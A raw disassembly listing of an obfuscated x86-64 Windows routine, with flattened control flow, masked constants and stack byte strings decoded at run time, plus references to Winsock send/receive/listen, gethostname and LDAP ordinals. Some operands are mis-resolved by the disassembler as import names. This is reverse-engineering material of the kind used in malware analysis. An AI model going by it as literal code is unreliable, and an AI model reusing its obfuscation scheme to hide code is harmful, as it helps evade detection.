jmp 0x14009cd92
movabs rcx, 0x3820b6bc26f4cfe0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x14009d8e9
movabs rcx, 0xf6f991a02f96b30
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
dec rdi
inc rdi
jmp 0x14009cd92
movabs rcx, 0xe6be7b77defe0680
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x14009cd92
movabs rdx, 0xbe0d5dd5bb02a1d0
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009d9a7
lea rax, [r9 + 3]
cmp r8, rax
jae 0x14009d4b5
movabs rcx, 0x14588ed111fdb258
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x14009d2dd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009d4f7
movabs rcx, 0x56876e4cf39f4270
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
movzx eax, byte [rbp + rdi + 0x9a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009cd92
inc rax
cmp r8, rax
jne 0x14009d52c
movabs rdx, 0x7f388bef179aa720
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009da92
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009d570
movabs rcx, 0xf94be4d5838cd530
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009cd92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009d5a1
movabs rcx, 0x21fd0277a78839e0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x14009d8e9
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009d5dd
movabs rdx, 0x4aae2019cb839e90
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rdi
inc rdi
jmp 0x14009cd92
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14009d2dd
movabs rdx, 0x9c105b5e137a67f0
mov ecx, gethostname
jmp 0x14009d992
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14009d61f
movabs rdx, 0x1cb25736d6ee3a8
mov ecx, 0x34
jmp 0x14009d992
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009d656
movabs rcx, 0x532d60b7b565ad08
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
dec rdi
inc rdi
jmp 0x14009cd92
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009d69c
movabs rdx, 0xcd40b99e2157db18
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009cd92
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009d280
movabs rcx, 0xf5f1d74045533fc8
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x14009da62
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009d70f
movabs rcx, 0xad0edc99e73e84e0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
movzx eax, byte [rbp + rdi + 0x9a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009cd92
inc rax
cmp r8, rax
jne 0x14009d744
movabs rdx, 0xd5bffa3c0b39e990
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009da92
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009d777
movabs rdx, 0xfe7117de2f354e40
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14009da5f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009d7bd
movabs rdx, 0x272235805330b2f0
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009cd92
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009d801
movabs rcx, 0x4fd35322772c17a0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009cd92
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009d231
movabs rcx, 0xa1358e66bf22e100
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec rdi
inc rdi
jmp 0x14009cd92
movabs rdx, 0x43fa04ef4f1073c0
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rdi + 0x9a0]
sub r10b, al
sub r10b, 0x40
jmp 0x14009d8e3
movabs rcx, 0x6cab2291730bd870
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0x9a0]
lea r10d, [r11 + rcx]
sub r10b, 0x10
jmp 0x14009da62
movabs rdx, 0x76b94b512db898a8
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009cd92
movabs rdx, 0x4e082daf09bd33f8
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rdx, 0x585293c0610e2618
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x9a0], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009cd92
movabs rdx, 0x2557100ce5c1cf48
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rdi
inc rdi
jmp 0x14009cd92
movabs rdx, 0xd3f4d4c89dcb05e8
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x58
add r10b, dl
jmp 0x14009d9a7
movabs rdx, 0x8292998455d43c88
mov ecx, 0x24
add rdx, rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rdx, 0x2fa1761e3d12c168
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x9a0], cl
inc r9
dec rdi
inc rdi
jmp 0x14009cd92
movabs rcx, 0x31305e400ddd7328
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
dec rdi
inc rdi
jmp 0x14009cd92
movabs rdx, 0xb71d0559a1eb4518
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009cd92
mov r11, rbx
movabs rcx, 0x8e6be7b77defe068
add rcx, rdi
and bl, cl
mov eax, reloc.WS2_32.dll_sendto
sub al, bl
lea r10d, [rax + rax]
add r10b, cl
add r10b, r11b
movabs rcx, 0x8103b16285098ac8
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x78
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi + 0x9a0], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x955c403397073d20
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x9a0], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x9a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009cd92
movabs rcx, 0x3d09ac7335f91708
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x38
movzx eax, byte [rbp + rdi + 0x9a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009cd92
movabs rcx, 0x9202329e58cda7b8
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
jmp 0x14009cd8e
movabs rcx, 0x695114fc34d24308
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x14009cd73
lea rcx, [rbp + 0x173dcc0]
jmp 0x14009db77
lea rcx, [rbp + 0x718f18]
jmp 0x14009db77
lea rcx, [rbp + 0x9a0]
mov rdx, rsi
call fcn.1400353f0
test al, al
je 0x14009dbd5
lea rdx, [0x14021abb0]
lea rcx, [rbp + 0x380]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xa0]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
movzx ecx, byte [rax]
mov byte [0x14021c5dc], cl
mov byte [rbp + 0x9c8], 0xe3
mov byte [rbp + 0x9c9], 0xde
mov byte [rbp + 0x9ca], 0xcc
mov byte [rbp + 0x9cb], Ordinal_211
mov byte [rbp + 0x9cc], Ordinal_211
mov byte [rbp + 0x9cd], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x9ce], Ordinal_217
mov byte [rbp + 0x9cf], 0xca
mov byte [rbp + 0x9d0], 0xbe
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x9d1], xmm0
mov qword [rbp + 0x9e1], rax
mov word [rbp + 0x9e9], ax
movabs rsi, 0xebd8ff237d120903
movabs r15, 0xf2d9923ea46e92b7
movabs r14, 0xf66f4385ff2c83ef
movabs r12, 0x10bc1f08b64f5e81
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14009e8d8
movzx r10d, byte [rbp + rdi + 0x9c8]
mov rdx, r10
nop dword [rax + rax]
cmp r8, rdi
ja 0x14009e8cc
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009dcc2
lea rcx, [rdi + r15]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
dec r11b
jmp 0x14009dd10
je 0x14009e843
inc rax
cmp r8, rax
je 0x14009e7d9
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009e7a2
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009e757
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009e72d
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009e6d5
nop dword [rax + rax]
mov rbx, r8
cmp r9, rdi
ja 0x14009e8c0
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x14009dd44
lea rcx, [rdi + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x15
jmp 0x14009dd78
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009e6b1
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009e687
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009e662
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009e62c
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14009e193
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009e16e
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009e141
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009e116
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009e0ee
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14009e0ca
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14009e095
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14009dd90
lea r8, [r9 + 5]
lea r9, [r8 + 0x400]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14009e89c
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14009e877
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14009dee4
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14009dec9
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14009e042
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14009e012
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14009dd90
lea r8, [r9 + 0x64]
lea r9, [r8 + 4]
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14009dfd8
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14009dfaf
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14009df86
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14009df57
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14009df25
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14009deff
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14009dd90
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x42]
jmp 0x14009dd90
lea rcx, [rdi + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x77
jmp 0x14009dd10
lea rcx, [rdi + r12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x79
jmp 0x14009dc85
movabs rdx, 0x5ec7f91be8904818
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14009e6f5
movabs rdx, 0x7914d49e9fb322aa
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14009dc72
movabs rdx, 0x9361b02156d5fd3c
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rdi
inc rdi
jmp 0x14009dc72
movabs rdx, 0xfc951e2c33616784
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14009e5f4
movabs rdx, 0x16e1f9aeea844216
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14009e7fa
movabs rdx, 0x312ed531a1a71ca8
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x9c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009dc72
movabs rcx, 0x72eef9f86b7e3f15
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x6d
mov byte [rbp + rdi + 0x9c8], r11b
inc rdi
jmp 0x14009dc72
movabs rdx, 0x8d3bd57b22a119a7
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x6f
add r11b, dl
cmp r9, 0x20
jb 0x14009e032
movabs rcx, 0xc2b044f5840e74ea
add rcx, rdi
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_listen
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x14009e6f8
movabs rcx, 0x8715fad4ee6c3612
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7e
movzx eax, byte [rbp + rdi + 0x9c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009dc72
movabs rcx, 0xa162d657a58f10a4
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7c
jmp 0x14009e7fa
movabs rdx, 0xa964462821a7aec
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x74
add r11b, dl
jmp 0x14009e776
movabs rcx, 0x24e31fe5393d557e
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x72
dec rdi
inc rdi
jmp 0x14009dc72
movabs rcx, 0x3f2ffb67f0603010
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
inc r9
dec rdi
inc rdi
jmp 0x14009dc72
movabs rdx, 0x597cd6eaa7830aa2
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6e
jmp 0x14009e6f5
lea rax, [r9 + 0xa]
cmp rbx, rax
jae 0x14009e23d
lea rcx, [rdi + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
dec r11b
lea rax, [r8 + r9]
cmp rax, 0x80
je 0x14009e5c9
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14009e379
movabs rcx, 0xddd7d8ed2e58f59b
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3d
cmp r8, 1
jae 0x14009e599
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009e4c0
movabs rcx, 0xaf63fc8df448240c
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x54
movzx eax, byte [rbp + rdi + 0x9c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009dc72
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14009e27f
movabs rcx, 0xd7b1fe46fa241206
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2a
movzx eax, byte [rbp + rdi + 0x9c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009dc72
inc rax
cmp rbx, rax
jne 0x14009e2af
movabs rcx, 0xbd6522c443013774
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2c
jmp 0x14009e7fa
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14009e2e0
movabs rcx, 0x6e7e903c1d98a7be
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x32
jmp 0x14009e7c1
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14009e311
movabs rcx, 0x5431b4b96675cd2c
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x34
jmp 0x14009e776
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14009e348
movabs rcx, 0x39e4d936af52f29a
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x36
dec rdi
inc rdi
jmp 0x14009dc72
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14009e1b5
movabs rcx, 0x54b2231410d3d76
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3a
jmp 0x14009e6f8
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14009e3aa
movabs rcx, 0xc38afd6a77361b09
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3f
jmp 0x14009e6f8
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009e3db
movabs rcx, 0x5a578f5f9aaab0c1
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x47
jmp 0x14009e7c1
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009e41c
movabs rcx, 0x400ab3dce387d62f
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x49
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009dc72
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009e44d
movabs rcx, 0x25bdd85a2c64fb9d
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4b
jmp 0x14009e5f4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009e47e
movabs rcx, 0xb70fcd77542210b
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4d
jmp 0x14009e7fa
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009e1f1
movabs rcx, 0xf1242154be1f4679
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4f
movzx eax, byte [rbp + rdi + 0x9c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009dc72
inc rax
cmp r8, rax
jne 0x14009e4f0
movabs rcx, 0x9517210b3d25497a
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x56
jmp 0x14009e7fa
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009e531
movabs rcx, 0x607d6a05cedf9456
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5a
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009dc72
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009e562
movabs rcx, 0x2be3b3006099df32
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5e
jmp 0x14009e776
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009e065
movabs rcx, 0x1196d77da97704a0
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
dec rdi
inc rdi
jmp 0x14009dc72
movabs rdx, 0xa8636972cceb9a58
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0x9c8]
sub r11b, al
sub r11b, 0x68
add r11b, r10b
add r11b, dl
jmp 0x14009e776
movabs rdx, 0x8e168df015c8bfc6
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rdi + 0x9c8]
sub r11b, 0x6a
add r11b, dl
movabs rdx, 0x80f0202eba37527d
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x6b
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x9c8], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14009e7fa
movabs rcx, 0xff25478b0cd859e1
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x27
movzx eax, byte [rbp + rdi + 0x9c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009dc72
movabs rcx, 0x6858b595e963c429
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1f
jmp 0x14009e7c1
movabs rcx, 0x9cf26c9b57a9794d
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1b
dec rdi
inc rdi
jmp 0x14009dc72
movabs rcx, 0xd18c23a0c5ef2e71
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x17
jmp 0x14009e6f8
movabs rdx, 0x625daa63434e395
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x13
add r11b, dl
movabs rcx, 0xb589d734287d07a1
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x67
add r10b, cl
mov byte [rbp + rdi + 0x9c8], r10b
inc r9
dec rdi
inc rdi
jmp 0x14009dc72
movabs rcx, 0x3abf91aba27a98b9
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xf
dec rdi
inc rdi
jmp 0x14009dc72
movabs rcx, 0x550c6d2e599d734b
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xd
movabs rcx, 0x9b3cfbb1715a2d0f
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x69
add cl, r11b
add cl, r10b
mov byte [rbp + rdi + 0x9c8], cl
jmp 0x14009e7c1
movabs rcx, 0x6f5948b110c04ddd
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xb
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009dc72
mov r10, rdx
movabs rcx, 0xbe3fdb393628dd93
add rcx, rdi
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 5
movabs rcx, 0x73c9b26d5ea5e534
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x6c
add r10b, cl
mov byte [rbp + rdi + 0x9c8], r10b
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x9c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009dc72
movabs rcx, 0xd88cb6bbed4bb825
add rcx, rdi
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 3
movzx eax, byte [rbp + rdi + 0x9c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009dc72
movabs rcx, 0x2b08fa8b6d723913
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x7b
jmp 0x14009dc70
movabs rcx, 0x4555d60e249513a5
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x7d
jmp 0x14009dc60
lea rcx, [rbp + 0x14a9cbc]
jmp 0x14009e8df
lea rcx, [rbp + 0x1792f73]
jmp 0x14009e8df
lea rcx, [rbp + 0x9c8]
call fcn.140035f00
mov byte [rbp + 0xec8], 0xf5
mov byte [rbp + 0xec9], 0xb0
mov byte [rbp + 0xeca], 0xfa
mov byte [rbp + 0xecb], __WSAFDIsSet
mov byte [rbp + 0xecc], __WSAFDIsSet
mov byte [rbp + 0xecd], 0x84
mov byte [rbp + 0xece], __WSAFDIsSet
mov byte [rbp + 0xecf], Ordinal_143
mov byte [rbp + 0xed0], __WSAFDIsSet
mov byte [rbp + 0xed1], 0xc1
mov byte [rbp + 0xed2], 0xb2
mov byte [rbp + 0xed3], Ordinal_143
mov byte [rbp + 0xed4], 0x9e
mov byte [rbp + 0xed5], Ordinal_211
mov byte [rbp + 0xed6], 0xbd
mov byte [rbp + 0xed7], 0x82
mov byte [rbp + 0xed8], Ordinal_143
mov byte [rbp + 0xed9], 0x9e
mov byte [rbp + 0xeda], 0x9c
mov byte [rbp + 0xedb], 0x87
mov byte [rbp + 0xedc], 0xf4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xedd], xmm0
mov qword [rbp + 0xeed], rax
